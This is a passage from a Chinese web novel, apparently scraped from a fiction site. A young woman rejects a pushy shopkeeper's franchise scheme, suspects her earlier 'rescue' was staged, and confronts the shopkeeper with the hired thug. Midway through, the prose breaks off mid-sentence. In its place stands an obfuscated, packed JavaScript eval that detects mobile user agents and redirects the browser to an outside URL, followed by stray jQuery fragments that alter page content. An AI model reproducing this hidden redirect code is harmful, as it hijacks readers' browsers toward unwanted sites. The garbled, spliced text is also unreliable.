“陈掌柜，你说的这些……我听得云里雾里的。”


    徐竹筱往后退了半步，像是被陈梨娘那狂热的眼神吓着了，“什么品牌，什么连锁的，听着怪吓人的。”


    陈梨娘脸上的笑容僵住了：“吓人？这可是赚大钱的好法子！只要你点头——”


    “不行不行。”徐竹筱把头摇成了拨浪鼓，两只手紧紧抱着账本，像是生怕被人抢了去，“我爹说了，咱们家就是小本生意，有多大碗吃多少饭。那铺子开大了，是非就多。我们家无权无势的，若是太招摇，怕是护不住这产业。”


    她做出一副听话乖女儿的模样，语气诚恳又坚决：“陈掌柜的一番好意我心领了，但这事儿，家里肯定不会答应的。我也不敢自作主张。”


    陈梨娘像是被人兜头泼了一盆冷水。


    她满心以为只要抛出这个超前的商业概念，这小丫头定会像见到神仙一样对自己顶礼膜拜，乖乖把钱送上来，毕竟自己的现代思维多远远领先他们。


    没想到，竟是个烂泥扶不上墙的。


    “护不住？”陈梨娘心里冷笑。


    借口。全是借口。


    这分明就是看不起自己，不想让自己沾手这赚钱的买卖。也是，人家现在是少东家，自己不过是个快倒闭的小掌柜，人家哪里看得上？


    什么不敢自作主张，不过是想独吞这块肥肉罢了。


    陈梨娘心里那个气啊，像是被人塞了一团湿棉花，堵得慌。


    但她毕竟在社会上摸爬滚打过，那点城府还是有的。


    “既然妹子有顾虑，那姐姐也不强求了。”


    陈梨娘脸上的笑意虽然还在，却已经不达眼底，皮肉扯动着，显出几分僵硬，“看来是姐姐没这个发财的命，咱们缘分没到。”


    “陈掌柜若是没别的事，我就先回去了，回见。”


    看着徐竹筱带着丫鬟远去的背影，陈梨娘脸上的笑容垮了下来。


    她狠狠啐了一口。


    “什么东西！”


    “守着金山当乞丐，早晚有你哭的时候！不带我玩是吧？行，咱们走着瞧！”


    徐竹筱走在路上，想到陈梨娘刚刚的表情，心里就有些不舒服。


    回到家中，徐竹筱一屁股坐在藤椅上，不想动弹。


    “姑娘，晚饭备什么？”知画端着茶盏过来，见她脸色不好，声音放轻了几分。


    徐竹筱摆摆手，平日里提到吃就两眼放光的劲头也没了。


    “不想动烟火气。你去路口的明记酒楼，打包几个菜回来。要一份老鸭汤，多放笋干，再来个醋溜白菜，还要个红烧狮子头，若是那还有鲜鱼，就再蒸一条。点心要那个……桂花糖藕，外加一笼蟹黄包。”


    知画一一记下，见姑娘虽然不想做饭，但点菜的条理还在，想来没什么大碍，便领了银钱出门去了。


    晚饭摆上桌时，天已经擦黑。


    屋内点了灯，昏黄的光晕染在饭菜上，腾起的热气看着就暖和。


    只是徐竹筱吃着实在是觉得没什么滋味。


    鲜是鲜，就是这笋干有些老了，嚼在嘴里发柴。


    沈竹安并没有急着动筷子，他拿着勺子，轻轻撇去汤面上的浮油，目光却一直落在徐竹筱脸上。


    她今日很不对劲。


    平日里若是有了好吃的，这丫头早就眉飞色舞地给他讲这道菜的火候、那道菜的佐料，可今天，她却是无精打采的，就连吃饭速度也比平时慢了不少。


    等着吃完饭，苏棠和徐青山回了正屋，徐竹卿懒得看这俩人那腻歪劲儿，也回了自己屋。


    “筱娘。”


    沈竹安放下勺子，声音温润，“今日可是遇到了什么不顺心的事？”


    徐竹筱回过神，咬着筷子尖，抬眼撞进他那双澄澈的眸子里。


    灯下看美人，越看越好看。


    “倒也不是什么大事。”


    沈竹安没打断她，只是静静地听着。


    “前几日我和杏儿被人尾随那事儿，你还记得吧？”徐竹筱皱了皱鼻子，“那个陈掌柜，陈梨娘，当时冲出来救了我们。按理说，我该感激涕零，把她当恩人供着。”


    “可是？”沈竹安敏锐地接过了话头。


    “可是今日我去她铺子里……”徐竹筱把今日陈梨娘拉着她要搞加盟、言语间那种高高在上的优越感，还有自己装傻充愣把人怼回去的事儿，一股脑都说了。


    说到最后，她有些犹豫，“还有那日救人……太巧了。那巷子偏僻，她一个做卤味的掌柜，不在铺子里守着，跑到那犄角旮旯做什么？而且那大汉也太配合了，就像是……像是演给人看的一样。”


    沈竹安眉头微不可察地蹙了起来。


    徐竹筱见他这副模样，心里咯噔一下：“我是不是把人想得太坏了？”


    “不。”


    沈竹安抬起头，平日里的温润散去几分，眼底多了些清冷的寒意，“这世上，巧合多半是人为。若是真如你所言，这陈掌柜所图不小。”


    他重新拿起筷子，夹了一块最嫩的鱼腹肉放到徐竹筱碗里，“先吃饭。那大汉若是真的存在，必然有迹可循。只要是人，就不可能凭空消失。”


    徐竹筱看着碗里的鱼肉，心里莫名安稳了。


    “那大汉长什么样，你可还记得？”沈竹安问得随意。


    “记得。”徐竹筱回忆了一下，“虽然没看清脸，但身形魁梧，左手手背上有块黑记，看着像是一块烧伤的疤。穿着一身灰布短打，脚上那双草鞋……后跟磨损得很厉害。”


    沈竹安点了点头，没再多问。


    吃过饭，沈竹安并没有急着看书，而是换了身不起眼的衣裳，出了门。


    夜色如墨，汴京城的夜市依旧热闹，但他没往人多的地方去，而是拐进了几条昏暗的巷弄。


    那是牙行“耳目人”聚集的地方。


    这些人三教九流无所不通，只要给钱，就没有他们不知道的消息。


    沈竹安找到熟识的中间人，也没废话，直接放了一张一贯的交子。


    那中间人看了眼交子，牙齿一龇，露出一口黄牙：“郎君放心，只要这人在汴京城喘气儿，不出五日，必定给您把底裤都扒出来。”


    沈竹安沉默了一下，倒也不用这么仔细。


    日子晃晃悠悠过了四五天。


    这几日，徐竹筱也没再去陈梨娘那儿，专心在家里琢磨新菜式。


    倒是陈梨娘，也没再找上门，估计是还在气头上，觉得徐竹筱是个烂泥扶不上墙的阿斗。


    第五日傍晚，沈竹安收到了消息，过来找徐竹筱。


    “那人叫冯三，是个赌鬼。平日里就在城隍庙那一带混，只要给钱，什么脏活累活都接。”


    徐竹筱接过纸条，上面只写了个地址。


    “你怎么确定的？”徐竹筱有些惊讶。


    “给了点钱。”沈竹安轻描淡写，“他前些日子刚在赌坊输了个精光，突然手里多了点钱，还在酒肆里吹嘘自己演了一出好戏，主雇给了几百贯。”


    徐竹筱磨了磨后槽牙。


    “走。”徐竹筱把纸条一攥，站起身来，“找他去。”


    沈竹安没拦着，只是默默地跟在她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121961|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身后。


    城隍庙附近的破落巷子里，冯三正翘着二郎腿，嘴里叼着根狗尾巴草，哼着跑调的小曲儿。


    前些日子那活儿真轻松，就跑两步，吼两嗓子，几百文钱就到手了。


    那小娘们儿看着精明，实际上也是个蠢的，这种手段也信。


    正想着，眼前突然投下一片阴影。


    冯三一抬头，就看见一男一女站在自己面前。


    男的一身书卷气，看着好欺负，女的娇娇俏俏，也没什么威胁，不过有点眼熟。


    “干什么？挡着爷晒太阳了！”冯三不耐烦地挥挥手。


    沈竹安没说话，只是偏过头，示意身后的小厮。


    小厮上前一步，从怀里掏出一串铜钱，在手里晃了晃。


    铜钱撞击的清脆声响，让冯三的眼睛瞬间直了。


    “五百文。”


    沈竹安开口，声音清冷，“把那日你在巷子里做的事，再说一遍。”


    冯三眼珠子骨碌一转，立马坐直了身子，贪婪地盯着那串钱：“什么巷子？我不记得了。除非……”他搓了搓手指。


    沈竹安沉着脸：“你若是不说，那这五百文你也没有。”


    “说！我说！”冯三生怕那银子飞了，“就是那个卖卤鸭的陈掌柜！她给了我三百文，让我在巷口堵两个姑娘，假装要动手动脚，然后她冲出来把我赶走。就这么简单！”


    果然。


    徐竹筱心里的火腾地一下就上来了。


    把自己当猴耍呢？


    “跟我们走一趟，去陈家铺子那儿。当着她的面，把这话再说一遍。事成之后，我再给你五百文。”


    冯三接住银子，笑得嘴都要咧到耳后根去了：“好嘞！姑奶奶您说什么就是什么！别说对峙，就是让我管她叫娘都行！”


    一行人往陈梨娘的铺子去。


    此时虽然不是饭点，但别的铺子多少有些客人，唯独陈梨娘这儿，门可罗雀。


    那招牌上的“陈记”两个字，被风吹得有些歪斜，看着灰扑扑的。


    陈梨娘正坐在柜台后面发愁。


    为了搞那个什么“锅包肉”，她把仅剩的流动资金都砸进去了。


    买肉、买油、还要试错。


    这年头的猪肉腥味重，处理不好根本没法吃，她试了好多次，浪费了不少材料。


    现在，手里是一个子儿都没有了。


    要是再没生意，她就可以关门了。


    正想着，门口光线一暗。


    陈梨娘一抬头，见是徐竹筱，脸上立马堆起了那副职业假笑：“哟，这不是徐家妹妹吗？怎么，想通了？我就说嘛，这赚钱的好事……”


    话还没说完，她就看见了徐竹筱身后的沈竹安，以及……那个一脸无赖相的冯三。


    陈梨娘脸上的笑容僵在半空，像是被浆糊糊住了一样，滑稽又可笑。


    “陈掌柜，别来无恙啊。”


    徐竹筱走进店里，没找椅子坐，就那么站着，居高临下地看着陈梨娘，“这位壮士，陈掌柜应该不陌生吧？”


    陈梨娘心里慌得一批，面上却强装镇定：“什……什么壮士？我不认识。妹妹你这是带人来砸场子的？”


    “砸场子？我可没那个闲工夫。”


    徐竹筱侧过身，把冯三露出来，“冯三，你也别藏着掖着了，跟咱们陈掌柜叙叙旧。”


    冯三收了钱，自然卖力。


    他往前一步，嬉皮笑脸地冲陈梨娘拱了拱手：“陈掌柜，您这记性可不好。前几日您给小的三百文钱，让小的去巷子口演戏，您忘了？”